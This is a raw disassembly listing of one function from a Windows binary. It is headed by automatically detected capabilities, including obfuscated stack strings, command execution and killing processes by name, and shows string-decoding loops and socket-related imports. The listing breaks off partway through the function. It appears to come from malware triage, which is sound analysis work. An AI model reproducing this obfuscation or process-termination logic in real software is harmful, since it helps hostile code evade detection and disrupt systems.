Function at 0x140096030
Capabilities:
Contain obfuscated stackstrings
Create thread
Enumerate processes
Execute command
Parse pe header
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x490]
sub rsp, 0x590
mov rax, qword [0x1401fdbc0]
xor rax, rsp
mov qword [rbp + 0x480], rax
xor edi, edi
lea rcx, [0x1401fe8a0]
call fcn.1400b1020
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 0x1d0], edi
lea rdx, [rbp + 0x1d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0x1d0]
or edx, 4
mov dword [rbp + 0x1d0], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rbp - 0x70], 0xab79a586
mov dword [rbp - 0x6c], 0xaf6aa996
mov dword [rbp - 0x68], 0xb38cad4d
mov dword [rbp - 0x64], 0xb746b177
mov dword [rbp - 0x60], 0xbb5fb55d
mov dword [rbp - 0x5c], 0xbf98b95e
mov dword [rbp - 0x58], 0x434abd6e
mov dword [rbp - 0x54], 0x47ba41ad
mov dword [rbp - 0x50], 0x4bb045a1
mov dword [rbp - 0x4c], 0x4f6849a1
mov dword [rbp - 0x48], 0x53b74d88
mov dword [rbp - 0x44], 0x57bc51bd
mov dword [rbp - 0x40], 0x5b7455b2
mov dword [rbp - 0x3c], 0x5f7859a6
mov dword [rbp - 0x38], 0x63aa5dbb
mov dword [rbp - 0x34], 0x678b6189
mov dword [rbp - 0x30], 0x6b8f6582
mov dword [rbp - 0x2c], 0x6f98699f
mov dword [rbp - 0x28], 0x739a6d9f
mov dword [rbp - 0x24], 0x77857186
mov dword [rbp - 0x20], 0x7b817544
mov dword [rbp - 0x1c], 0x7f947991
mov dword [rbp - 0x18], 0x38c7d92
mov dword [rbp - 0x14], 0x7f501e5
mov dword [rbp - 0x10], 0xb3605f3
mov dword [rbp - 0xc], 0xff909e5
mov word [rbp - 8], 0xd0e
xor eax, eax
mov qword [rbp - 6], rax
mov dword [rbp + 2], eax
mov word [rbp + 6], ax
movabs rsi, 0xb33ba7e179cc5749
movabs r15, 0x14b9b2a9368fd365
movabs r14, 0xeded373bc5d87a43
movabs r12, 0xf40fa9c219e41f20
movabs r13, 0xca9c446facc47856
movzx edi, byte [rsp + 0x30]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x78
jae 0x140096c01
movzx r9d, byte [rbp + r11 - 0x70]
movzx r10d, r9b
nop dword [rax]
cmp rbx, r11
ja 0x140096bf8
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x140096210
lea rcx, [r11 + r15]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x3d
lea rcx, [r8 + 3]
jmp 0x140096230
je 0x140096b83
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140096afa
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140096a9f
cmp r8, r11
ja 0x140096bef
lea r10, [r8 + 5]
cmp rbx, r10
jae 0x140096259
lea rcx, [r11 + rsi]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
jmp 0x1400962a0
cmp rbx, rdx
je 0x140096a5c
cmp rbx, rcx
je 0x140096a3a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140096a1e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400969ff
cmp rbx, r10
je 0x1400969e0
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400969b5
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140096686
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140096667
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14009663a
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14009660c
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400965e8
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400965c0
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009659c
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140096bd2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140096bb5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400963d8
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14009654a
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140096504
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400964d8
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400962b0
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400964a1
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14009647d
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140096455
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14009643a
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14009641b
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400963f3
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400962b0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x5a]
jmp 0x1400962b0
lea rcx, [r11 + r14]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x1400961d5
movabs rcx, 0x99dd3f0bce62ba48
add rcx, r11
movzx eax, r9b
and al, cl
mov edx, 4
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
jmp 0x140096a76
lea rcx, [r11 + r12]
movzx eax, r9b
and al, cl
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
jmp 0x140096ade
lea rcx, [r11 + r13]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140096ae1
movabs rcx, 0xa128df1d3fa4d18c
add rcx, r11
movzx eax, r9b
and al, cl
mov edx, socket
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
jmp 0x140096b1c
movabs rcx, 0x77b579cad2852ac2
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x140096b44
movabs rcx, 0x4e421478656583f8
add rcx, r11
movzx eax, r9b
and al, cl
mov edx, 0x1c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1400961c5
movabs rcx, 0xe6a1972a549662ff
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
mov byte [rbp + r11 - 0x70], dil
inc r11
jmp 0x1400961c5
movabs rcx, 0xbd2e31d7e776bc35
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
cmp r8, 0xa
jb 0x1400964f7
lea edx, [r11 + 0x3e]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x64]
jmp 0x140096a76
movabs rcx, 0x93bacc857a57156b
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
cmp rbx, 0x10
jae 0x140096974
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14009688c
lea edx, [r11 + 0x5a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x76
add dil, dl
jmp 0x140096523
movabs rcx, 0x9f289f66daa64ec
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x140096b44
movabs rcx, 0xe07f24a4008abe22
add rcx, r11
movzx eax, r9b
and al, cl
mov edx, 9
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
jmp 0x140096b1c
movabs rcx, 0xb70bbf51936b1758
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140096ae1
movabs rcx, 0x3ab18f5a4c0c22fa
add rcx, r11
movzx eax, r9b
and al, cl
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
dec r11
inc r11
jmp 0x1400961c5
movabs rcx, 0x113e2a07deec7c30
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x1400961c5
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140096a76
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x1400966e2
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x140096999
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400967ba
lea edx, [r11 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x77
add dil, dl
jmp 0x140096569
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140096719
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1400961c5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140096741
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140096b44
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096765
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x140096b1c
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140096791
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x140096abd
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400966a8
lea edx, [r11 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
jmp 0x140096a73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400967df
lea edx, [r11 - 0x25]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 3
jmp 0x140096a73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009680a
lea ecx, [r11 + 0x6f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 9
dec r11
inc r11
jmp 0x1400961c5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009682f
lea ecx, [r11 + 3]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x15
jmp 0x140096ade
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140096854
lea ecx, [r11 - 0x33]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x65
jmp 0x140096ae1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140096569
lea ecx, [r11 + 0x2b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2d
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1400961c5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400968c3
lea edx, [r11 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1400961c5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400968eb
lea edx, [r11 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140096b1c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140096914
movzx r10d, r11b
lea edx, [r10 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140096aba
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009693f
lea ecx, [r11 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x1400961c5
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140096523
lea edx, [r11 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x1400961c5
movzx r10d, r11b
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r11 - 0x70]
sub dil, al
sub dil, 0x38
add dil, r9b
jmp 0x140096aba
lea edx, [r11 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140096b1c
lea ecx, [r11 + 0x63]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4b
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1400961c5
lea edx, [r11 - 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2f
add dil, dl
jmp 0x140096b44
lea edx, [r11 - 0x31]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x57
add dil, dl
jmp 0x140096b1c
lea ecx, [r11 + 5]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x23
jmp 0x140096ae1
lea ecx, [r11 - 0x59]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6f
dec r11
inc r11
jmp 0x1400961c5
lea edx, [r11 + 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7b
add dil, dl
lea ecx, [r11 - 0x5d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x75
add r9b, cl
mov byte [rbp + r11 - 0x70], r9b
inc r8
dec r11
inc r11
jmp 0x1400961c5
movzx r10d, r11b
lea edx, [r10 + 0x21]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x19
add dil, dl
add r10b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 5
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x70], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400961c5
movabs rax, 0x9113e2a07deec7c3
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r10 + rax]
sub dil, 0x55
movzx r9d, r10b
lea edx, [r11 + 0x37]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + r11 - 0x70], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x44
add r9b, cl
mov byte [rbp + r11 - 0x70], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1400961c5
movabs rax, 0x3e2d17fba3af7a2f
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r10 + rax]
sub dil, 0x49
movzx eax, byte [rbp + r11 - 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1400961c5
add r11b, 0x79
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x4f
jmp 0x1400961c2
sub r11b, 0x51
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x37
jmp 0x1400961b2
lea rcx, [rbp + 0x162076c]
jmp 0x140096c05
lea rcx, [rbp + 0x171dad1]
jmp 0x140096c05
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rbp + 0x150], 0x95f5b15c
mov dword [rbp + 0x154], 0xe993bdf5
mov dword [rbp + 0x158], 0xbbeaf6e2
mov dword [rbp + 0x15c], 0x88898eee
mov dword [rbp + 0x160], 0xd98f9c90
mov word [rbp + 0x164], 0x2dc2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x166], xmm0
mov qword [rbp + 0x176], rax
movabs rsi, 0x803fd97ccede47b3
movabs r14, 0x80bf8c766c9ad719
movzx edi, byte [rsp + 0x30]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2e
jae 0x140097820
movzx r10d, byte [rbp + r11 + 0x150]
mov rdx, r10
nop dword [rax + rax]
cmp rbx, r11
ja 0x140097817
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140096ccc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x1b
jmp 0x140096d13
je 0x1400977aa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140097778
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009773a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140097719
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400976f5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400976af
cmp r8, r11
ja 0x14009780e
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140096d40
lea ecx, [r11 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
jmp 0x140096d81
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140097693
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140097672
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140097653
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140097638
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009760b
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400972ee
nop
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400972cf
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400972ab
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140097286
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140097263
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140097244
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140097229
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14009720a
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400971eb
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400971ba
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140096d90
lea rbx, [r8 + 2]
lea r8, [rbx + 2]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400977f1
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400977d5
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140096f79
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140096f5e
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140096f43
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140097171
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14009712c
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400970ee
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400970c8
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140096d90
mov rbx, rax
lea r8, [rax + 1]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140097097
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140097078
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140097055
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14009703a
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14009701f
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140096ffc
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140096fd7
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140096fb3
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140096f94
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140096d90
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x80]
jmp 0x140096d90
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x57
jmp 0x140096d81
lea ecx, [r11 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
jmp 0x140096d13
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3d
jmp 0x140096c98
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
movzx r9d, r11b
jmp 0x1400976c8
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
inc r8
dec r11
inc r11
jmp 0x140096c85
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140096c85
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140097754
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14009778e
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x140097791
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140097598
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400975c4
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x140096c85
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
mov byte [rbp + r11 + 0x150], dil
inc r11
jmp 0x140096c85
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
cmp r8, 1
jb 0x1400970de
movzx r9d, r11b
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x7c]
jmp 0x1400976c8
lea ecx, [r11 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
cmp rbx, 0x20
jae 0x140097552
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140097446
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x140097104
lea ecx, [r11 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x21
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x14009757d
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x1400973cc
lea ecx, [r11 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
jmp 0x140097142
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x140096c85
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400975c4
movzx r9d, r11b
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x140097598
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140097791
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009778e
movzx r9d, r11b
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097754
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140096c85
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x140096c85
movzx r9d, r11b
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x1400976c8
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x140097312
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1b
jmp 0x140097187
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009734c
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x140096c85
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140097374
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097791
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009739c
lea edx, [r11 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14009778e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140097187
movzx r9d, r11b
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400976c8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400973f4
movzx r9d, r11b
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
jmp 0x1400976c8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009741e
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
dec r11
inc r11
jmp 0x140096c85
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140097142
lea ecx, [r11 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
jmp 0x14009778e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009747c
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x140096c85
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400974a8
movzx r9d, r11b
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
